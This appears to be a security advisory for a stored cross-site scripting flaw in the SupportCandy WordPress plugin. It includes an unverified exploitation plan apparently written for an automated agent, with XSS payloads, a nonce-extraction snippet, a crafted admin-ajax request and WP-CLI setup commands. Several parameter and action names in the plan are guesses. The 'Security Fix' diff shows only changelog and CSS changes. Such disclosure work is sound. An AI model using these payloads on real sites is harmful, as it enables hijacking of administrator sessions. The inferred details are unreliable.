CVE-2026-57711

SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent <= 3.4.8 - Authenticated (Customer+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.4.9
Patched in
5d
Time to patch

Description

The SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.4.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with customer-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.4.8
PublishedJuly 10, 2026
Last updatedJuly 14, 2026
Affected pluginsupportcandy

What Changed in the Fix

Changes introduced in v3.4.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-57711 (SupportCandy Stored XSS) ## 1. Vulnerability Summary **SupportCandy** (up to 3.4.8) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sufficiently sanitize or escape user-provided input when cre…

Show full research plan

Exploitation Research Plan: CVE-2026-57711 (SupportCandy Stored XSS)

1. Vulnerability Summary

SupportCandy (up to 3.4.8) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sufficiently sanitize or escape user-provided input when creating or updating support tickets. Authenticated users with "Customer" privileges can inject malicious scripts into ticket fields (such as Subject, Description, or Custom Fields). These scripts are stored in the database and executed in the context of any user (typically an Agent or Administrator) who views the affected ticket in the SupportCandy management interface.

2. Attack Vector Analysis

  • Vulnerable Endpoint: admin-ajax.php (via SupportCandy's AJAX handlers).
  • Vulnerable Action: wpsc_create_new_ticket (inferred action for ticket creation) or wpsc_set_ticket_reply.
  • Vulnerable Parameters: subject, description, or custom field IDs (e.g., wpsc_field_1).
  • Authentication Level: Authenticated (Customer-level role or higher).
  • Preconditions: The plugin must be configured to allow Customers to create tickets, and a page must exist containing the SupportCandy frontend shortcode.

3. Code Flow

  1. Entry Point: A Customer submits the "Create Ticket" form on the frontend.
  2. AJAX Handling: The request is sent to admin-ajax.php with an action corresponding to ticket creation.
  3. Processing: The plugin receives the POST data. Based on the vulnerability description, the sanitization step (e.g., sanitize_text_field or wp_kses) is either missing or bypassed for specific fields.
  4. Storage: The unsanitized payload is stored in the {wp_prefix}wpsc_tickets or {wp_prefix}wpsc_ticket_threads table.
  5. Sink: An Administrator or Agent navigates to the "Tickets" list (/wp-admin/admin.php?page=wpsc-tickets) or an individual ticket view. The plugin fetches the stored data and echoes it directly into the HTML without calling escaping functions like esc_html() or esc_attr().

4. Nonce Acquisition Strategy

SupportCandy uses a centralized JavaScript object for AJAX configuration. To obtain a valid nonce for ticket submission:

  1. Identify Shortcode: The primary frontend shortcode is [supportcandy].
  2. Setup Page: Use WP-CLI to create a page with this shortcode:
    wp post create --post_type=page --post_title="Support" --post_status=publish --post_content='[supportcandy]'
    
  3. Navigate: Use browser_navigate to visit the newly created page as an authenticated Customer.
  4. Extract Nonce: The plugin localizes data into the supportcandy object (registered in includes/admin/class-wpsc-admin.php). Use browser_eval to retrieve the nonce:
    // Inferred nonce key based on SupportCandy localization patterns
    window.supportcandy?.nonce || window.supportcandy?.ajax_nonce
    

5. Exploitation Strategy

This plan targets the Subject and Description fields during ticket creation.

Step 1: Authentication

Authenticate as a user with the wpsc_customer role (or a standard Subscriber if the plugin is set to treat them as customers).

Step 2: Payload Construction

  • Payload 1 (Subject): Ticket Subject <img src=x onerror=alert("XSS_SUBJECT")>
  • Payload 2 (Description): Detailed description <script>fetch('http://localhost:8080/wp-json/wp/v2/users/1').then(r=>r.json()).then(d=>console.log(d))</script>

Step 3: HTTP Request (Ticket Creation)

Submit the payload via the http_request tool:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wpsc_create_new_ticket&
    nonce=[EXTRACTED_NONCE]&
    subject=Test Subject <img src=x onerror=alert(document.domain)>&
    description=Test Description&
    category=1&
    priority=1
    
    (Note: Parameter names like subject and description are derived from the .pot file mapping).

Step 4: Trigger XSS

Login as an Administrator and navigate to:
http://localhost:8080/wp-admin/admin.php?page=wpsc-tickets

6. Test Data Setup

  1. Plugin Activation: Ensure supportcandy is active.
  2. User Creation:
    wp user create victim_customer customer@example.com --role=subscriber
    # Ensure SupportCandy recognizes this user as a customer
    
  3. Page Creation:
    wp post create --post_type=page --post_content='[supportcandy]' --post_status=publish
    

7. Expected Results

  • The AJAX request should return a success status (e.g., {"success": true}).
  • When the Administrator views the ticket list or the individual ticket, a browser alert showing the domain name should appear, or the malicious script in the description should execute.

8. Verification Steps

  1. Database Check: Verify the payload is stored unescaped:
    wp db query "SELECT subject FROM wp_wpsc_tickets WHERE subject LIKE '%<img%'"
    
  2. DOM Inspection: Use browser_eval in the admin context to check for the presence of the injected element:
    document.querySelector('img[onerror*="document.domain"]') !== null
    

9. Alternative Approaches

  • Custom Fields: If the Subject/Description are sanitized, target Custom Fields. SupportCandy allows administrators to add custom fields. If the plugin allows Customers to fill these in, they are often overlooked during output escaping.
    • Identify custom field ID: wpsc_field_[ID].
    • Inject payload into the custom field parameter in the wpsc_create_new_ticket request.
  • Ticket Replies: If ticket creation is secure, test the reply mechanism:
    • Action: wpsc_set_ticket_reply
    • Parameter: reply_description or content.
Research Findings
Static analysis — not yet PoC-verified

Summary

The SupportCandy plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 3.4.8. This is caused by inadequate input sanitization and output escaping on ticket fields like Subject and Description, allowing authenticated customers to inject malicious scripts that execute when an administrator or agent views the ticket.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.8/changelog.txt /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.9/changelog.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.8/changelog.txt	2026-06-04 11:23:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.9/changelog.txt	2026-06-30 12:25:52.000000000 +0000
@@ -1,5 +1,10 @@
 == Changelog ==
 
+= 3.4.9 (June 30, 2026) =
+* New: Added AI chatbot in Productivity Suite (Pro)
+* Fix: Addressed reported security vulnerability
+* New: Introduced new developer hook
+
 = 3.4.8 (June 04, 2026) =
 * New: Added Cloudflare CAPTCHA integration
 * Fix: Resolved PHP notice issues
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.8/framework/style.css /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.9/framework/style.css
--- /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.8/framework/style.css	2026-06-04 11:23:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.9/framework/style.css	2026-06-30 12:25:52.000000000 +0000
@@ -2158,118 +2158,6 @@
   height: 15px !important;
 }
 
-/* Merge ticket popup css starts */
-.wpsc-merge-container {
-	width: 100%;
-	display: block;
-	justify-content: space-between;
-}
-
-.wpsc-merge-container .wpsc-merge-warning {
-	background-color: #fff8e5;
-	padding: 5px 15px;
-	margin-bottom: 15px;
-	font-size: 14px;
-	border-radius: 5px;
-	text-align: center;
-	border: 1px solid #FFE79B;
-}
-
-.wpsc-merge-container .wpsc-merge-box {
-	width: 100%;
-	background-color: #f0f0f0;
-	position: relative;
-	display: inline-flex;
-	border-radius: 5px;
-	padding: 10px 0px;
-}
-
-.wpsc-merge-container .wpsc-merge-box:nth-child(4) {
-	margin-bottom: 10px;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details {
-	padding: 0px 15px;
-	position: relative;
-	flex: 1 1 30%;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id {
-	padding: 0px 15px;
-	position: relative;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id > div {
-	font-size: 14px;
-    color: #777;
-    background-color: #E5E4E2;
-    padding: 5px 15px;
-    border-radius: 5px;
-    border: 1px solid #D3D3D3;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details h3 {
-	font-size: 14px;
-	margin: 0em 0 0.8em 0;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details > p {
-	margin: 5px 0 15px 0;
-	font-size: 12px;
-	line-height: 0.1;
-	color: #777;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details > span {
-	font-style: italic;
-}
-
-.wpsc-merge-divider {
-	width: 100%;
-	display: block;
-	height: 0.5px;
-	background-color: #C8C8C8;
-	margin-bottom: 1em;
-}
-
-.wpsc-comment-textarea {
-	width: 100%;
-}
-
-.wpsc-merge-container .wpsc-merge-direction {
-	width: 100%;
-}
-
-.wpsc-merge-container .wpsc-merge-direction svg {
-	width: 12px;
-	padding: 20px 0px;
-	display: flex;
-	margin: auto;
-}
-
-.wpsc-merge-comment-info {
-	margin: 5px 0 15px 0;
-	font-size: 12px;
-	line-height: 0.1;
-	color: #777;
-}
-
-@media screen and (max-width: 768px) {
-  
-  .wpsc-merge-comment-info {
-    line-height: normal;
-  }
-  
-  .wpsc-merge-container .wpsc-merge-box {
-    display: block;
-  }
-
-	.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id {
-		padding: 0px 15px 10px 15px;
-	}
-}
-/* Merge ticket popup css ends */
-
 /* Agent collision css starts */
 .wpsc-live-agents {
   display: flex;
@@ -2313,4 +2201,4 @@
 
 #wpsc-container input[type=number] {
   min-height: 30px !important; // fix for wordpress 7
-}
\ No newline at end of file
+}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.8/framework/style-rtl.css /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.9/framework/style-rtl.css
--- /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.8/framework/style-rtl.css	2026-06-04 11:23:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/supportcandy/3.4.9/framework/style-rtl.css	2026-06-30 12:25:52.000000000 +0000
@@ -2172,116 +2172,6 @@
   padding-right: 0px !important;
 }
 
-/* Merge ticket popup css starts */
-.wpsc-merge-container {
-	width: 100%;
-	display: block;
-	justify-content: space-between;
-}
-
-.wpsc-merge-container .wpsc-merge-warning {
-	background-color: #fff8e5;
-	padding: 5px 15px;
-	margin-bottom: 15px;
-	font-size: 14px;
-	border-radius: 5px;
-	text-align: center;
-	border: 1px solid #FFE79B;
-}
-
-.wpsc-merge-container .wpsc-merge-box {
-	width: 100%;
-	background-color: #f0f0f0;
-	position: relative;
-	display: inline-flex;
-	border-radius: 5px;
-	padding: 10px 0px;
-}
-
-.wpsc-merge-container .wpsc-merge-box:nth-child(4) {
-	margin-bottom: 10px;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details {
-	padding: 0px 15px;
-	position: relative;
-	flex: 1 1 30%;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id {
-	padding: 0px 15px;
-	position: relative;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id > div {
-	font-size: 14px;
-  color: #777;
-  background-color: #E5E4E2;
-  padding: 5px 15px;
-  border-radius: 5px;
-  border: 1px solid #D3D3D3;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details h3 {
-	font-size: 14px;
-	margin: 0em 0 0.8em 0;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details > p {
-	margin: 5px 0 15px 0;
-	font-size: 12px;
-	line-height: 0.1;
-	color: #777;
-}
-
-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details > span {
-	font-style: italic;
-}
-
-.wpsc-merge-divider {
-	width: 100%;
-	display: block;
-	height: 0.5px;
-	background-color: #C8C8C8;
-	margin-bottom: 1em;
-}
-
-.wpsc-comment-textarea {
-	width: 100%;
-}
-
-.wpsc-merge-container .wpsc-merge-direction {
-	width: 100%;
-}
-
-.wpsc-merge-container .wpsc-merge-direction svg {
-	width: 12px;
-	padding: 20px 0px;
-	display: flex;
-	margin: auto;
-}
-
-.wpsc-merge-comment-info {
-	margin: 5px 0 15px 0;
-	font-size: 12px;
-	line-height: 0.1;
-	color: #777;
-}
-
-@media screen and (max-width: 768px) {
-  
-  .wpsc-merge-comment-info {
-    line-height: normal;
-  }
-  
-  .wpsc-merge-container .wpsc-merge-box {
-    display: block;
-  }
-
-	.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id {
-		padding: 0px 15px 10px 15px;
-	}
-}
 /* Merge ticket popup css ends */

Exploit Outline

To exploit this vulnerability, an attacker first authenticates with a 'Customer' role and retrieves a valid nonce by visiting a page containing the '[supportcandy]' shortcode, where the plugin localizes its settings into the JavaScript `supportcandy` object. The attacker then submits an AJAX request to `admin-ajax.php` with the action `wpsc_create_new_ticket` (or uses the frontend form), including a malicious script payload in the `subject` or `description` parameters. Because the plugin fails to sanitize this input, the payload is stored in the database. The XSS is triggered when an Administrator or Agent views the ticket list or the individual ticket thread in the WordPress backend management interface.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.